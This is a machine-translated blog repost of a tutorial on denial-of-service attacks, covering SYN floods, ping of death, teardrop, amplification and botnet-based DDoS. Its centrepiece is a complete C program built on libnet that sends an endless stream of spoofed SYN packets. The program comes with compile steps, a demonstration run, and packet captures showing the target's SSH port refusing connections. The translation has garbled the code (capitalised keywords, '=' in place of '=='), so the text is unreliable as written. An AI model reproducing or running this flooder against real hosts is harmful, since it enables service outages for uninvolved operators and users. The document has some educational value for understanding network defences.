Detailed descriptions of Denial of Service attacks from the program

 

Denial of Service (DoS) attacks are one of the simplest forms of network attacks. They only block access to services or resources, rather than trying to steal information. DoS attacks have two common forms: Service crash and flood service. Compared with network-based exploitation, DoS attacks that crash services are more similar to program exploitation. Generally, these attacks rely on poor implementations provided by specific vendors. The buffer overflow vulnerability usually causes the target program to crash, rather than turning the execution process to the injected shellcode. If the program happens to be on the server, no one will be able to access it after the server crashes. Similar crash-type DoS attacks depend on specific programs and versions. Because the operating system is responsible for processing the network stack, the kernel program will be removed from the Code crash and the service will not be provided to the entire machine. In modern operating systems, many such vulnerabilities have been fixed long ago, but it is still useful to consider how these technologies can be applied in different situations.

1. SYN Flood (Flooding)

SYN flood will consume the TCP/IP stack instead of the network bandwidth. Because TCP maintains a "reliable" connection, each connection needs to be tracked somewhere. The TCP/IP stack in the kernel program processes this, but the stack table is limited, so it can only trace multiple incoming connections. SYN flood attacks use spoofing to exploit this restriction.

Attackers use a forged nonexistent source address and use many SYN packets to flood the victim's system. Because SYN packets are used to open a TCP connection, the victim's machine will send a SYN/ACK packet to the forged address as a response and wait for the expected ACK response. Each of these waiting and semi-open connections enters a queue with limited space to be processed. Because the forged source address does not actually exist, the ACK response required to delete the records in the queue to be processed and complete the connection will never come. On the contrary, each half-open connection times out, which takes a long time. As long as attackers continue to flood the victim's system using forged SYN packets, the victim's waiting queue will remain full, this makes it almost impossible for a real SYN packet to reach the system and enable a valid TCP/IP connection. With the source code of nemesis and arpspoof as a reference, you should be able to compile programs that complete such attacks. The following example uses the libnet function, which is extracted from the source code and socket functions that we have previously explained. The source code of Nemesis uses the libnet_get_prand () function to obtain pseudo-random numbers for each IP domain. The libnet_see_prand () function is used to generate the number of seeds of a random program. These functions are also used in the following program.

Synflood. c

# Include <libnet. h>

# Define FLOOD_DELAY 5000 // Delay between packet injects by 5000 ms.

/* Returns an IP in x. x notation */

Char * print_ip (u_long * ip_addr_ptr ){

Return inet_ntoa (* (struct in_addr *) ip_addr_ptr ));

}

Int main (int argc, char * argv []) {

U_long dest_ip;

U_short dest_port;

U_char errbuf [LIBNET_ERRBUF_SIZE], * packet;

Int opt, network, byte_count, packet_size = LIBNET_IP_H + LIBNET_TCP_H;

If (argc <3)

{

Printf ("Usage: \ n % s \ t <target host> <target port> \ n", argv [0]);

Exit (1 );

}

Dest_ip = libnet_name_resolve (argv [1], LIBNET_RESOLVE); // The host

Dest_port = (u_short) atoi (argv [2]); // The port

Network = libnet_open_raw_sock (IPPROTO_RAW); // Open network interface.

If (network =-1)

Libnet_error (LIBNET_ERR_FATAL, "can't open network interface. -- this program

Must run

As root. \ n ");

Libnet_init_packet (packet_size, & packet); // Allocate memory for packet.

If (packet = NULL)

Libnet_error (LIBNET_ERR_FATAL, "can't initialize packet memory. \ n ");

Libnet_seed_prand (); // Seed the random number generator.

Printf ("SYN Flooding port % d of % s .. \ n", dest_port, print_ip (& dest_ip ));

While (1) // loop forever (until break by CTRL-C)

{

Libnet_build_ip (LIBNET_TCP_H, // Size of the packet sans IP header.

IPTOS_LOWDELAY, // IP tos

Libnet_get_prand (libnet_pr2010), // ip id (randomized)

0, // Frag stuff

Libnet_get_prand (LIBNET_PR8), // TTL (randomized)

IPPROTO_TCP, // Transport protocol

Libnet_get_prand (LIBNET_PRu32), // Source IP (randomized)

Dest_ip, // Destination IP

NULL, // Payload (none)

0, // Payload length

Packet); // Packet header memory

Libnet_build_tcp (libnet_get_prand (libnet_pr2010), // Source TCP port (random)

Dest_port, // Destination TCP port

Libnet_get_prand (LIBNET_PRu32), // Sequence number (randomized)

Libnet_get_prand (LIBNET_PRu32), // Acknowledgement number (randomized)

TH_SYN, // Control flags (SYN flag set only)

Libnet_get_prand (libnet_pr2010), // Window size (randomized)

0, // Urgent pointer

NULL, // Payload (none)

0, // Payload length

Packet + LIBNET_IP_H); // Packet header memory

If (libnet_do_checksum (packet, IPPROTO_TCP, LIBNET_TCP_H) =-1)

Libnet_error (LIBNET_ERR_FATAL, "can't compute checksum \ n ");

Byte_count = libnet_write_ip (network, packet, packet_size); // Inject packet.

If (byte_count <packet_size)

Libnet_error (LIBNET_ERR_WARNING, "Warning: Incomplete packet written. (% d of % d

Bytes) ", byte_count, packet_size );

Usleep (FLOOD_DELAY); // Wait for FLOOD_DELAY milliseconds.

}

Libnet_destroy_packet (& packet); // Free packet memory.

If (libnet_close_raw_sock (network) =-1) // Close the network interface.

Libnet_error (LIBNET_ERR_WARNING, "can't close network interface .");

Return 0;

}

This program uses the print_ip () function to convert the u_long type (libnet uses this data type to store IP addresses) into the expected structure type of inet_ntoa. This process does not change the value-This conversion is only to meet the needs of the Compilation Program.

The current release version of Libnet is 1.1, which is incompatible with libnet l.0. However, nemesis and arpspoof still depend on libnet 1. O. Therefore, libnet version 1.0 is provided in LiveCD and is also used in our synflood program. Similar to libpcap compilation, you must use the-lnet flag when compiling libnet. However, this information is not enough for the Compilation Program, as shown in the following output.

Lcg @ linux :~ /Src $ gcc-o synflood. c-lnet

In file encoded ded from synflood. c: 1:

/Usr/include/libnet. h: 87: 2: # error "byte order has not been specified, you'll"

Synflood. c: 6: error: syntax error before string constant

Lcg @ linux :~ /Src $

Compilation will still fail because several mandatory definition tags need to be set for libnet. A program named Libnet-config in libnet can output these tags.

Lcg @ linux :~ /Src $ libnet-config -- help

Usage: libnet-config [OPTIONS]

Options:

[-- Libs]

[-- Cflags]

[-- Defines]

Lcg @ linux :~ /Src $ libnet-config -- defines

-D_BSD_SOURCE-d1_bsd_source-d1_favor_bsd-DHAVE_NET_ETHERNET_H

-DLIBNET_LIL_ENDIAN

By replacing them with the BASH shell command, you can dynamically insert these definitions into the compilation command.

Lcg @ linux :~ /Src $ gcc $ (libnet-config -- defines)-o synflood

Synflood. c-lnet

Lcg @ linux :~ /Src $./synflood

Usage:

./Synflood <target host> <target port>

Lcg @ linux :~ /Src $

Lcg @ linux :~ /Src $./synflood 192.168.42.88 22

Fatal: can't open network interface. -- this program must run as root.

Lcg @ linux :~ /Src $ sudo./synflood 192.168.42.88 22

SYN Flooding port 22 of 192.168.42.88 ..

In the above example, the host 192.168.42.88 is a Windows XP machine, which uses cygwin to run an openssh server on port 22. The following tcpdump output shows that the host has been flooded from a seemingly random IP Address by spoofing SYN packets. When the program runs, reasonable connections cannot connect to this port.

Lcg @ linux :~ /Src $ sudo tcpdump-I eth0-nl-c 15 "host 192.168.42.88"

Tcpdump: verbose output suppressed, use-v or-vv for full protocol decode

Listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes

17:08:16. 334498 IP 121.213.150.59.4584> 192.168.42.88.22: S

751659999: 751659999 (0) win 14609

17:08:16. 346907 IP 158.78.184.110.40565> 192.168.42.88.22: S

139725579: 139725579 (0) win 64357

17:08:16. 358491 IP 53.245.19.50.42538> 192.168.42.88.22: S

322318966: 322318966 (0) win 43747

17:08:16. 370492 IP 91.109.238.11.4814> 192.168.42.88.22: S

685911671: 685911671 (0) win 62957

17:08:16. 382492 IP 52.132.214.97.20.99> 192.168.42.88.22: S

71363071: 71363071 (0) win 30490

17:08:16. 394909 IP 120.112.199.34.19452> 192.168.42.88.22: S

1420507902: 1420507902 (0) win 53397

17:08:16. 406491 IP 60.9.221.120.21573> 192.168.42.88.22: S

2144342837: 2144342837 (0) win 10594

17:08:16. 418494 IP 137.101.201.0.54665> 192.168.42.88.22: S

1185734766: 1185734766 (0) win 57243

17:08:16. 430497 IP 188.5.248.61.8409> 192.168.42.88.22: S

1825734966: 1825734966 (0) win 43454

17:08:16. 442911 IP 44.71.67.65.60484> 192.168.42.88.22: S

1042470133: 1042470133 (0) win 7087

17:08:16. 454489 IP 218.66.249.126.27982> 192.168.42.88.22: S

1767717206: 1767717206 (0) win 50156

17:08:16. 466493 IP 131.238.172.7.15390> 192.168.42.88.22: S

2127701542: 2127701542 (0) win 23682

17:08:16. 478497 IP 130.246.104.88.48221> 192.168.42.88.22: S

2069757602: 2069757602 (0) win 4767

17:08:16. 490908 IP 140.187.48.68.9179> 192.168.42.88.22: S

1429854465: 1429854465 (0) win 2092

17:08:16. 502498 IP 33.172.101.123.44358> 192.168.42.88.22: S

1524034954: 1524034954 (0) win 26970

15 packets captured

30 packets partitioned ed by filter

0 packets dropped by kernel

Lcg @ linux :~ /Src $ ssh-v 192.168.42.88

OpenSSH_4.4p2, OpenSSL 0.9.8c 05 Sep 2006

Debug1: Reading configuration data/etc/ssh/ssh_config

Debug1: Connecting to 192.168.42.88 [192.168.42.88] port 22.

Debug1: connect to address 192.168.42.88 port 22: Connection refused

Ssh: connect to host 192.168.42.88 port 22: Connection refused

Lcg @ linux :~ /Src $

Some operating systems (such as Linux) try to use a technology called syncookies to prevent SYN flood attacks. The TCP stack uses syncookies to adjust the initial validation number using a SYN/ACK packet based on host details and times (to prevent replay attacks.

The TCP connection will not be activated until the last ACK packet of the TCP handshake is checked. If the serial number does not match or the ACK does not arrive, the connection will never be created. This helps block fraudulent connections because the ACK packet requires sending information to the source address of the original SYN packet.

2. Death ping

According to the ICMP specification, the data part of the ICMP response message packet can only be 216 bytes, that is, 65536 bytes. The data part of an ICMP packet is usually ignored because important information is contained in the header. If an ICMP return message exceeding the specified size is sent to some operating systems, the system will crash. This ultra-large ICMP return message is visually called "ping of Death )". This is a very simple attack on existing vulnerabilities, because no one has ever considered this possibility. It should be easy for you to use libnet to write a program for this attack, but it is not very useful in the real world. All modern systems fix this vulnerability. However, history always repeats itself. Although ultra-large ICMP packets will no longer cause computer crashes, new technologies may sometimes suffer from similar problems. The Bluetooth protocol, which is widely used in telephone, has a similar ping packet on The L2CAP layer. This layer is also used to measure the communication time on the established communication line. Many Bluetooth implementations are plagued by the same large ping packet problem. Adam Laurie, Marcel Holtmann, and Martin Herfurt named the attack Bluesmack and published the source code for completing the attack.

3. Teardrop)

Another similar crash-type DoS attack originating from the same reason is called a tear-down (teardrop) attack. The weakness of some providers when reorganizing IP segments. When data packets are segmented, the offsets stored in the header are arranged without overlap to reconstruct the original data packet. A tear-down attack sends a segment of data packets with overlapping offsets, which will inevitably crash when such irregular conditions are not checked.

Although such special attacks no longer play a role, understanding this concept can reveal problems in other fields. Although not limited to denial of service, a recent remote vulnerability mining in the OpenBSD kernel (proud of its own security) is related to IPv6 packet fragmentation. IPv6 uses more complex headers, and even uses different IP address formats from IPv4. In the early implementation of new products, the same mistakes made in the past are often repeated.

4. ping flood (Flooding)

The flood Dos attack does not try to cause service or resource crash, but overload it so that it cannot respond. Similar attacks can occupy other resources, such as CPU cycles and system processes. However, flood attacks tend to attempt to occupy network resources.

The simplest form of flood attacks is ping flood. The goal is to exhaust the victim's bandwidth so that legal traffic cannot pass. Attackers send many large ping packets to the victim, consuming the bandwidth of the victim's network connection.

This attack is nothing extraordinary-it is just a battle of bandwidth: attackers with a higher bandwidth than the victim can send data that exceeds the limit that the victim can receive, and thus prevent other legal traffic from reaching the victim.

5. Attack Amplification

In fact, there are some clever ping flood methods, they do not need to use a large bandwidth. Amplification attacks use spoofing and broadcast addressing to enlarge a single packet stream hundreds of times. First, you must find a target amplification system. This should be a network that allows communication to broadcast addresses and has many active hosts. Then, the attacker uses the source address of the spoofed victim system to send a large number of ICMP return request packets to the enlarged broadcast address. The amplifier broadcasts these packets to all hosts in the enlarged network, and then these hosts send corresponding ICMP return response packets to forged source addresses (for example, to the victim's machines ,.

Traffic amplification allows attackers to send relatively small ICMP return request data packets, and the victim is flooded with times of ICMP return response data packets. You can use ICMP data packets and UDP return data packets to perform this attack. The corresponding technologies are called smurf attacks and fraggle attacks respectively.

 

6. Distributed DoS flooding

Distributed DoS (DDoS) attacks are distributed versions of flood DoS attacks. The objective of a flood DoS attack is to consume bandwidth. The larger the bandwidth occupied by attackers, the larger the damage they can cause. In DDoS attacks, attackers first reach an agreement with many other hosts and install daemon software on these hosts. Systems that install such software are generally called botnets. These systems constitute so-called botnet ). These botnets waited patiently to know that the attacker picked a victim and decided to launch an attack. Attackers use certain control programs, and all botnets simultaneously use a flood DoS attack to attack victims. A large number of scattered hosts not only increase the flood effect, but also make it more difficult to track attack sources.

Next, we will explain the TCP/IP hijacking technology.

 

From http://chenguang.blog.51cto.com/350944/713273